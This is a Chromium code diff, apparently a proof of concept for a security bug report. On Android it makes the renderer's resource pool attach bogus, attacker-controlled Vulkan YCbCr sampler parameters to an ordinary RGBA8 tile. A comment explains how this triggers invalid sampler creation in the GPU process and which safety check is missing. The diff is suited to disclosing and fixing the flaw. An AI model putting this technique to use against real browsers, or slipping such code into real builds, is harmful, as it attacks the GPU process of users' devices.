diff --git a/cc/resources/resource_pool.cc b/cc/resources/resource_pool.cc --- a/cc/resources/resource_pool.cc +++ b/cc/resources/resource_pool.cc @@ -413,6 +413,24 @@ bool ResourcePool::PrepareForExport( transferable = viz::TransferableResource::Make( backing->shared_image(), resource_source, backing->mailbox_sync_token); +#if BUILDFLAG(IS_ANDROID) + // POC: simulate a compromised renderer attaching attacker-controlled + // VulkanYCbCrInfo to an ordinary single-plane RGBA8 raster tile. The viz + // GPU process will build an immutable VkSampler with a bogus + // VkExternalFormatANDROID and bind it against the real RGBA8 VkImageView + // (no YCbCr conversion), violating VUID-VkExternalFormatANDROID-01894 and + // VUID-VkWriteDescriptorSet-descriptorType-02738. The Ganesh path in + // ImageContextImpl::BeginAccessIfNecessaryInternal() has no parity with the + // Graphite DawnYCbCrVkDescriptorsAreCompatible() guard. + transferable.ycbcr_info = gpu::VulkanYCbCrInfo( + /*image_format=*/0u, // VK_FORMAT_UNDEFINED -> external path + /*external_format=*/0x4141414142424242ull, // never returned by AHB props + /*suggested_ycbcr_model=*/0x41414141u, // wild enum + /*suggested_ycbcr_range=*/0x41414141u, + /*suggested_xchroma_offset=*/0x41414141u, + /*suggested_ychroma_offset=*/0x41414141u, + /*format_features=*/0x00800000u); // non-zero -> skip device-props query +#endif if (backing->wait_on_fence_required) { transferable.synchronization_type = viz::TransferableResource::SynchronizationType::kGpuCommandsCompleted;